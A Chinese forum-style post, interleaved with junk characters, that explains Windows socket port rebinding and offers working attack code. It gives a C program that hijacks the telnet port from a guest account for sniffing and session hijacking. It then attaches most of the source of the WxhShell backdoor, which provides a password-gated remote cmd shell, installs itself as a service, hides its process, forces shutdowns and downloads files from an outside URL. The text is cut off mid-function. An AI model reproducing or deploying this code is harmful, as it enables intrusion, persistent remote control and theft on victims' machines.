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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E/@w6uIK[ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HgJ:R f] E/9h"zowS saddr.sin_family = AF_INET; \vbU| a *9((X,v@/ saddr.sin_addr.s_addr = htonl(INADDR_ANY); ej dYh $ xwG=&+66 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); uxF88$=!t VH1PC 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Eh\0gQ= e,/b&j*4th 这意味着什么?意味着可以进行如下的攻击: _gZ8UZ) ?2l#=t?PP 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [xiZkV([ VA*~RS 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1ipfv-hb6 Hm@+(j(N96 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 NqcmjHvy WT$m*I 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 i8A{DMc,U MJS4^*B\1 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 p$^}g: `HXP*Bp# 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [*ylC,w jO\29(_ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =pQA!u]QE *x3";%o #include CYA#: #include 4G;FpWQm #include kylR) #include "X~ayn'@w, DWORD WINAPI ClientThread(LPVOID lpParam); D@"g0SW4 int main() ZGrjb22M { ?r"][< WORD wVersionRequested; !HyPe"`oL DWORD ret; 6@kKr WSADATA wsaData; z,/0e@B > BOOL val; >}{'{
Z
& SOCKADDR_IN saddr; w8E6)wF=7 SOCKADDR_IN scaddr; !<\"XxK+l int err; @cNBY7= SOCKET s; Cw1Jl5OVZ SOCKET sc; J9J[.6k8 int caddsize; /HR9(j6 HANDLE mt; tX)l$oRPr DWORD tid; JEq0 {_7 wVersionRequested = MAKEWORD( 2, 2 ); cn1CM'Ru err = WSAStartup( wVersionRequested, &wsaData ); ~7aBli= if ( err != 0 ) { ~#3h-|]* printf("error!WSAStartup failed!\n"); Gxk=]5<7 return -1; .U|e#t } {H
OvJ`tM saddr.sin_family = AF_INET; yyZ}qnbx] Bs2.$~ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 k{>rI2; QA_SS'* saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); UBoN}iR saddr.sin_port = htons(23); $r%m<Uc;}O if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '~i;g.n=}- { t/z]KdK P printf("error!socket failed!\n"); MI o5Y`T return -1; sIQd} } hYRGIpu5 val = TRUE; 4?YhqJ //SO_REUSEADDR选项就是可以实现端口重绑定的 |eT?XT<=o if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]eA< { (XYYbP printf("error!setsockopt failed!\n"); @a,X{0 return -1; `c@KlL*!Q } fF!Mmm" //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [OFg
(R- //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~@=:I //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "5Oi[w&F5 A-gNfXP,D if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) e;8>/G { ;EstUs3 ret=GetLastError(); 5Gm,lNQ Av printf("error!bind failed!\n"); envu}4wU=e return -1; pC,MiV$c" } "-JJ6Bk listen(s,2); mlCw(i, while(1) 5P_%Vp`B2 { M##h<3 I caddsize = sizeof(scaddr); zRtaO'G( //接受连接请求 t6p}LNm(V sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Di{T3~fqU if(sc!=INVALID_SOCKET) bv$g$ { sOA!Sl mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I=)Hb?qT~ if(mt==NULL) l<
8RG@ { lV!ecJw$ printf("Thread Creat Failed!\n"); &$uQ$]&H break; \eD#s } 9Mo(3M } .zr2!}lB CloseHandle(mt); \wR bhN } wWm1G) closesocket(s); 1GB$;0 W), WSACleanup(); krwY_$q return 0; ]F5?>du@~ } ##VS%&{ DWORD WINAPI ClientThread(LPVOID lpParam) +T:F :X` { \IY)2C<e SOCKET ss = (SOCKET)lpParam; T'.U?G SOCKET sc; p~1,[]k unsigned char buf[4096]; J1DX}h] SOCKADDR_IN saddr; YGrmco?G long num; +
5 E6| DWORD val; ws9F~LmLbr DWORD ret; `oN~ //如果是隐藏端口应用的话,可以在此处加一些判断 vwQY_J8 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 prE~GO7Z saddr.sin_family = AF_INET; )@)wcf!b saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); FNlzpCT~L saddr.sin_port = htons(23); 6LZ(bP'd; if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]CyWL6z { ^sIxR*C[v printf("error!socket failed!\n"); {M:Fsay>p return -1;
cl4`FU } 5]cmDk val = 100; [?uiM^& if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,Zs:e. { GKdQ ret = GetLastError(); vy W/f return -1; 1zNH[
} {>[,i`) if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :9H=D^J { vum6O3 ret = GetLastError(); 88~BE ^ return -1; Z4NNrA# } s,>_kxuX if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) JSX-iHhW { UO^"<0u printf("error!socket connect failed!\n"); &UH .e closesocket(sc); v-2_# closesocket(ss); <+D(GH}; return -1; pk2OZ,14Mj } [ L% -lJ while(1) jSVIO v: { ]S+NH[g+ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 P!yE{_% //如果是嗅探内容的话,可以再此处进行内容分析和记录 D?~`L[}I!} //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 82#7TX4 num = recv(ss,buf,4096,0); 6jjmrc[#}X if(num>0) >#).3 send(sc,buf,num,0); '&@'V5}C{ else if(num==0) {J3;4p-& break; M\zM-B num = recv(sc,buf,4096,0); 5]yQMY\2) if(num>0) v^2q\A-? send(ss,buf,num,0); 3]DUUXg$ else if(num==0) Wr"-~PP break; X3zkUMk } ''P.~~ezr5 closesocket(ss); E5 "%-fAJ closesocket(sc); b:Oa4vBa return 0 ; En$-,8\% } F?Cx"JYix l;^Id#N :'RmT3 ========================================================== EhDKh\OY5 .}gGtH,b3 下边附上一个代码,,WXhSHELL ihjs%5Jo%
B|E4(,]^ ========================================================== v-u53Fy rvjPm5[t #include "stdafx.h" 9^ITP!~e* t-_~jZ< #include <stdio.h> 0~{jgN~ #include <string.h> "IbXKS>t #include <windows.h> cp.c$ #include <winsock2.h> iev02 8M #include <winsvc.h> )P #include <urlmon.h> Z{"/Ae5] GUyMo@g #pragma comment (lib, "Ws2_32.lib") Rn6;@Cw #pragma comment (lib, "urlmon.lib") "H I&dC sd|5oz) #define MAX_USER 100 // 最大客户端连接数 kj_o I5<' #define BUF_SOCK 200 // sock buffer =`fJ #define KEY_BUFF 255 // 输入 buffer -_&"Q4FR;+ >t_5(K4 #define REBOOT 0 // 重启 5etbJk #define SHUTDOWN 1 // 关机 !K: e=$p( #define DEF_PORT 5000 // 监听端口 %5<uQc9 AA[(rw #define REG_LEN 16 // 注册表键长度 gZbC[L #define SVC_LEN 80 // NT服务名长度 ktX\{g! U I6?n> // 从dll定义API _7df(+.{<A typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Tjba@^T typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3e&H) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NzB"u+jB typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JL0>-kg ( <~ // wxhshell配置信息 *`.h8gTD, struct WSCFG { bHx09F] int ws_port; // 监听端口 r}>8FE9S'H char ws_passstr[REG_LEN]; // 口令 1&%6sZN int ws_autoins; // 安装标记, 1=yes 0=no "b)Y 5[nW char ws_regname[REG_LEN]; // 注册表键名 vsc)EM ] char ws_svcname[REG_LEN]; // 服务名 .f)&;Af^ char ws_svcdisp[SVC_LEN]; // 服务显示名 3ZRi@=kWz char ws_svcdesc[SVC_LEN]; // 服务描述信息 /'KCW_Q char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nT.i|(xd. int ws_downexe; // 下载执行标记, 1=yes 0=no i\E}!Rwl+ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" z7B>7}i- char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '%U'%' ) WE;QEA / }; MDkcG"O _XLGXJ[B // default Wxhshell configuration 9eOP:/'}w struct WSCFG wscfg={DEF_PORT, .W4P/Pw' "xuhuanlingzhe", -|s
w\Q 1, mO];+=3v8 "Wxhshell", qPle=6U[IL "Wxhshell", _}8hEv "WxhShell Service", d.wu "Wrsky Windows CmdShell Service", OCR`1 "Please Input Your Password: ", ~<[$.8* 1, byALM " http://www.wrsky.com/wxhshell.exe", H?-Byi "Wxhshell.exe" )UBU|uYR\ }; %eK=5Er jx o<
)"\f/, // 消息定义模块 SrlTwcD char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &>Zm gz char *msg_ws_prompt="\n\r? for help\n\r#>"; 1%Yd ] 1c( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; -*`7Q'}% char *msg_ws_ext="\n\rExit."; )Fe6>tE char *msg_ws_end="\n\rQuit."; GWb=X cx char *msg_ws_boot="\n\rReboot..."; &<??,R14 char *msg_ws_poff="\n\rShutdown..."; ']Q4SB"q char *msg_ws_down="\n\rSave to "; &Pk #v |qUi9#NUo char *msg_ws_err="\n\rErr!"; 25e*W>SLw char *msg_ws_ok="\n\rOK!"; OH.lAF4E( 1!N|a< # char ExeFile[MAX_PATH]; !e>+O^ int nUser = 0; O9%`G HANDLE handles[MAX_USER]; r7dwj int OsIsNt; zVEG)
Hr T'VZ=l[ SERVICE_STATUS serviceStatus; (2 nSZRB SERVICE_STATUS_HANDLE hServiceStatusHandle; EI+RF{IKh Ep>} S // 函数声明 =rL%P~0wq int Install(void); W4MU^``
int Uninstall(void); I8ZBs0sfF{ int DownloadFile(char *sURL, SOCKET wsh); zG
IxmJ. int Boot(int flag); ANIx0*Yl( void HideProc(void); [)efh9P* int GetOsVer(void); S($8_u$U int Wxhshell(SOCKET wsl); q!L@9&KAQ void TalkWithClient(void *cs); Jd]kg,/ int CmdShell(SOCKET sock); &m{SWV+ int StartFromService(void); tVI6GXH int StartWxhshell(LPSTR lpCmdLine); R1sWhB99 > nHaMj VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sd5%S zx VOID WINAPI NTServiceHandler( DWORD fdwControl ); ??Lda=' 4F[4H\>' // 数据结构和表定义 7'IcgTWDZy SERVICE_TABLE_ENTRY DispatchTable[] = _E\Cm { V{A_\ {wscfg.ws_svcname, NTServiceMain}, <b
JF&, {NULL, NULL} :mYVHLmea }; Mz59ac azK7kM~ // 自我安装 [P:+n7= ,l int Install(void) io&FW!J. { |B{@noGX char svExeFile[MAX_PATH]; fBj-R~;0 HKEY key; %P8*Az&]T strcpy(svExeFile,ExeFile); + *xi&|% =1MVF // 如果是win9x系统,修改注册表设为自启动 H18.)yHX if(!OsIsNt) { LyR bD$m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ` x|=vu- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;?h+8Z/{ RegCloseKey(key); 19h@fA[: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #gq!L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?hC,49 RegCloseKey(key); Lg%3M8-W~ return 0; nrEG4X9 } 9Sey&x } gZf8/Tp\z } s(.H"_a else { @PL.7FM<v M)qb6aD0 // 如果是NT以上系统,安装为系统服务 Q[n*ce7L0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }Fq~!D
Ee if (schSCManager!=0) W1;QPdz: { Xp67l!{v SC_HANDLE schService = CreateService 5^5hhm4 ( \rpXG9 schSCManager, -){aBMOv3 wscfg.ws_svcname, J@}PBHK+ wscfg.ws_svcdisp, 0s$;3qE SERVICE_ALL_ACCESS, <u_vL
WS SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h_>DcVNIx SERVICE_AUTO_START, .ZtW
y) U SERVICE_ERROR_NORMAL, z7X,5[P svExeFile, S+ 3lX7 NULL, saa3BuV 6 NULL, 5:yRFzhqd NULL, ]t"X~ NULL, %lK/2- NULL Q"vhl2RX ); I/B *iW^ if (schService!=0) GBY-WN4sc[ { 0$g;O5y"i CloseServiceHandle(schService); 4JO[yN CloseServiceHandle(schSCManager); \\ZCi`O strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]N;\AXZ7 strcat(svExeFile,wscfg.ws_svcname); gyz_$T@x if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X,A]<$ACu% RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YD{Ppz RegCloseKey(key); :.P{}\/ return 0; oQiRjDLx } &cp
`? k } _C3O^/<n4V CloseServiceHandle(schSCManager); jO0"`|(]s } kBeYl+*pk } Y@y"bjK \ 3\ {?L return 1; O=5q<7PM. } LgxsO:mi Ie]k/qw+ Y // 自我卸载 e>2KW5. int Uninstall(void) (O$il { <MyT ; HKEY key; B,fVNpqo 8n,/hY>w if(!OsIsNt) { 5wa'SexqE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Al1}Ir RegDeleteValue(key,wscfg.ws_regname); tbXl5x0 RegCloseKey(key); _)S['[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8F
K%7\V RegDeleteValue(key,wscfg.ws_regname); %M,^)lRP RegCloseKey(key); 6z5wFzJv?q return 0; g#q7~#9 } FnPn#Cv>* } YuUJgt .1 } Ea)=K'Pz else { Ye| (5f b]4\$ rW7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A<y]D.Z" if (schSCManager!=0) G1a56TIN~ { <{T5}"e SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pkf$%{"e if (schService!=0) P0/Ctke; { 2YQ;Kh"S
if(DeleteService(schService)!=0) { ;4QE.&s` CloseServiceHandle(schService); `\r<3? CloseServiceHandle(schSCManager); < V*/1{ return 0; Y?6}r;< } ^;sE)L6 CloseServiceHandle(schService); ,<BV5~T.| } -W{ !`<8D CloseServiceHandle(schSCManager); 6j Rewj } q 2P_37 } 5\Rg%Ezl C]Q`!e return 1; t$&'mJ_-w } zZW5M^z8 0g2rajS // 从指定url下载文件 Pm]lr|Q{I int DownloadFile(char *sURL, SOCKET wsh) &
}7+.^ { u2S8DuJ HRESULT hr; >K<cc#Aa char seps[]= "/"; +NJIi@ char *token; >0UY,2d char *file; 9PUobV_^Wo char myURL[MAX_PATH]; mT/^F{c char myFILE[MAX_PATH]; 'YJ~~o #^}s1
4n strcpy(myURL,sURL); _<GXR
? token=strtok(myURL,seps); '0=mV"#H{ while(token!=NULL) n?>|2> { {oS/Xa file=token; r~G amjS token=strtok(NULL,seps); >`l^
C } ;H3~r^>c ;jJ4H+8 GetCurrentDirectory(MAX_PATH,myFILE); J|F!$m{ strcat(myFILE, "\\"); <MKXFV strcat(myFILE, file); !>N+a3
send(wsh,myFILE,strlen(myFILE),0); kC ALJRf~d send(wsh,"...",3,0); "=ki_1/P hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ::_bEmk if(hr==S_OK) J/QqwoR
return 0; 2tg 07 else QnJLTBv return 1; 9 ^8_^F O6,2M[a } _kc}: &7,::$cu // 系统电源模块 dOK]Su int Boot(int flag) )5`~WzA { 4M!wm]n/%5 HANDLE hToken; uzI-1@` TOKEN_PRIVILEGES tkp; XgyLlp;,O 4:Oq(e_( if(OsIsNt) { OrF.wcg OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jZQ{XMF LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :*/g~y(fE tkp.PrivilegeCount = 1; B6j/"x6N15 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]4r&Q4d>O AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c_>AbF{ if(flag==REBOOT) { ]a`"O if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xLb=^Xjec return 0; (5A8# 7a } F-F1^$]k else { H]W'mm if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ct^=j@g return 0; )H`V\H[0P } %Eugy } ;n.h !wmJ} else { Nobu=
Z if(flag==REBOOT) { g<ov` bF if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,xR u74 return 0; ~Q#!oh'i } H )>3c1 else { lWH#/5`h if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Bt#'6:: return 0; "%bU74> } t%O)Ti } jo1z#!|Yw} bPif"dhHe return 1; ?D,j!Hy } fq4uiFi< NcHU) // win9x进程隐藏模块 ao0^; void HideProc(void) K-"`A.:S { ;at1|E* obN8+ j HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Wsp c;]& if ( hKernel != NULL ) ;" D~F { +6}CNC9Mp pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >|`1aCg, ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :P
]D`b6p FreeLibrary(hKernel); H}lz_#Z } Tm9sQ7Oj( GIT"J}b} return; HO_(it \ } ?Q$a@)x# Q/]o'_[vW // 获取操作系统版本 sxS%1hp3 int GetOsVer(void) a#G3 dY> { 6xAxLZz< OSVERSIONINFO winfo; *YX5bpR? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #z70:-`.[M GetVersionEx(&winfo);
/fLm
)vN if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Um4DVg5 return 1; wv\V&U$ else $iMLT8U return 0; Qg]A^{.1 } !G6h~`[ l@1=./L? // 客户端句柄模块 yyk@f% int Wxhshell(SOCKET wsl) T@`Al(' { >)u{%@Rcy{ SOCKET wsh; 8^D1u` struct sockaddr_in client; ]5K(}95&' DWORD myID; <`G-_VI +S+=lu _ while(nUser<MAX_USER) FC~%G&K/q^ { FV3[7w=D\ int nSize=sizeof(client); :>o0zG[;f wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *-(o. !#1 if(wsh==INVALID_SOCKET) return 1; Ycx}FYTY xtIF)M handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #_`qbIOAj if(handles[nUser]==0) eMdf[eS closesocket(wsh);
hSXJDT2 else K3UN#G)U nUser++; C@\5%~tW+ } @$t\yBSK WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GKOl{och &r*F+gL return 0; ()w;~$J } `S5::U6E W'f"kM // 关闭 socket BjsTHS& void CloseIt(SOCKET wsh) fLd2{jI, { &cJ?mSI closesocket(wsh); 7&OJ8B/ nUser--; {IvA 5^ ExitThread(0); |Ldvfd } qX; F+~ l(-"rE // 客户端请求句柄 `@WJ_-$# void TalkWithClient(void *cs) $o;c:Kh$$ { D^V)$ME '-J<ib
t SOCKET wsh=(SOCKET)cs; r:g_mMvB char pwd[SVC_LEN]; zUNUH^Il char cmd[KEY_BUFF]; _h1eW9q char chr[1]; ~iQBgd@D^ int i,j; }@ktAt ~(yW#'G while (nUser < MAX_USER) { %l#X6jkt P,a9B2 if(wscfg.ws_passstr) { Q4/BpKL if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c#`IF6qj //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dFhyT.Y? //ZeroMemory(pwd,KEY_BUFF); w)RedJnf i=0; _Y/*e<bU while(i<SVC_LEN) { HZ}Igw.Z I{WP:]"Yf // 设置超时 ?8?vBkz~ fd_set FdRead; c0rU&+:Ry struct timeval TimeOut; [^bq?w FD_ZERO(&FdRead); 8O(L;&h FD_SET(wsh,&FdRead); 7:Rt) EE2 TimeOut.tv_sec=8; U<q`f- TimeOut.tv_usec=0; &Td)2Wt int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c3ru4o*K if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :g'
'GqGZ tg==Qgz if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5GgH6 pwd =chr[0]; ]4V1] if(chr[0]==0xd || chr[0]==0xa) { r}^1dO pwd=0; afna7TlS break; N{&Lo}6F } x4g/ok i++; Ovj^
7r:<s } [hpkE lE =<m!%/I // 如果是非法用户,关闭 socket QxxPImubB if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?6nB=B)/ } K|$c#X Njr;Wa.r+ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <?}pCX/O send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +:=FcsY a~a:mM>p while(1) { &Xh> w(u 2
'D,1F ZeroMemory(cmd,KEY_BUFF); |r,})o> z07&P;W!{ // 自动支持客户端 telnet标准 9[&ByEAK j=0; vM!2?8bEFd while(j<KEY_BUFF) { XzX2V">(% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5#N<~ cmd[j]=chr[0]; +>;Ux1'@ if(chr[0]==0xa || chr[0]==0xd) { |e+3d3T35 cmd[j]=0; s3nt2$=:t break; 0vX6n6G} } c}|.U j++; z~tdLtcX } i>[xN[U( t']/2m.&p // 下载文件 %t!r
pyD if(strstr(cmd,"http://")) { (Fuu V{x| send(wsh,msg_ws_down,strlen(msg_ws_down),0); WAR!#E#J7 if(DownloadFile(cmd,wsh)) $'_Q@ZBq send(wsh,msg_ws_err,strlen(msg_ws_err),0); xgj'um else cn/&QA" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0zT-]0 } Q&w_kz. else { &~/g[\Y 2RF3pIFrm switch(cmd[0]) { [g<gu~ ;<''oY // 帮助 ';8 ,RTe case '?': { 5S!j$_( send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qC"`i}7 break; `Npo|.?= } $joGda // 安装 fp\mBei case 'i': { YQFz6#Ew if(Install()) R@5eHP^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); DNgh#!\X else wb(S7OsMO
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s_RK x)w@ break; dhxzW@'nIL } }~PG]A // 卸载 ,Nhv#U<$
case 'r': { E3[9!L8gb if(Uninstall()) &\~*%:C send(wsh,msg_ws_err,strlen(msg_ws_err),0); D]aQt%TL else ~"vS$>+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'nh2} break; "(p /3qFY } 7 kA+F+f // 显示 wxhshell 所在路径 ~vA8I#. case 'p': { KU{zzn;g char svExeFile[MAX_PATH]; f{O-\ strcpy(svExeFile,"\n\r"); KehM.c^ strcat(svExeFile,ExeFile); zDtC]y' send(wsh,svExeFile,strlen(svExeFile),0); SFtcO break; (G} }h } gg^iYTpt // 重启 .E+O,@?< case 'b': { a?GXVQ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &Z!y>k%6 if(Boot(REBOOT)) yih|6sd$F send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Og5e else { ,xrA2 closesocket(wsh); i<>%y*+@ ExitThread(0); L>E;cDB } \?Z7| break; 1pG|jT+Bi } x0{B7/FN // 关机 S#oBO%! case 'd': { }1[s , send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /U!B2%vq_ if(Boot(SHUTDOWN)) +aM[!pW(e send(wsh,msg_ws_err,strlen(msg_ws_err),0); st)v'ce, else { W.cc!8 closesocket(wsh); $8 &Y(` ExitThread(0); )6X-m9.X } WjR2:kT break; {{_v.d~1 } cfv:Ld m // 获取shell ~8(Xn2 case 's': { jVOq/o CmdShell(wsh); ?f3R+4 closesocket(wsh); B=%%3V)2 ExitThread(0); C{nk,j
L break; Akc
|E!V } u*5}c7)uId // 退出 4|5;nxkGm8 case 'x': { \4j_K*V send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1i.3P$F CloseIt(wsh); ??P\v0E break; 0m.`$nlV- } <*^|Aj|# // 离开 kb"Fw:0
case 'q': { s?S e]?i send(wsh,msg_ws_end,strlen(msg_ws_end),0); F@Wi[K closesocket(wsh); <o3I<ci6 WSACleanup(); FJ!`[.t1AU exit(1); M;3q.0MU break; !T:7xEr } 4Y3@^8h&= } xhho{ } 0[<'ygu U&Atgv // 提示信息 U=j`RQ 9, if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "+qZv( } >FHx], } ZlE=P4`X: Kf(Px%G6K return; E>*Wu<< } 1R*;U8? 4G;KT~Cgb // shell模块句柄 |T"j7 int CmdShell(SOCKET sock) +/[Rvh5WZ { 5W|wDy STARTUPINFO si; 3Rsrb ZeroMemory(&si,sizeof(si)); \r{wNqyv si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ThW9=kzQW si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mAW(j@5sp PROCESS_INFORMATION ProcessInfo; aQY.96yo char cmdline[]="cmd"; _dAn/rj
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {6Nbar@3 return 0; bf1$:09 } '-I\G6w9 $RF.LVc // 自身启动模式 ^qBm%R( int StartFromService(void) @cxM#N8e { 76 o[qay typedef struct ;ZcwgsxTM { 4L`,G:J,; DWORD ExitStatus; :2NV;7Wke6 DWORD PebBaseAddress; U1/ww-!Z DWORD AffinityMask; Gx4uf DWORD BasePriority; jgXr2JQ< ULONG UniqueProcessId; &dj/Dq@ ULONG InheritedFromUniqueProcessId; Gf.xr%mUZr } PROCESS_BASIC_INFORMATION; d Efk~V\ ]c'EJu
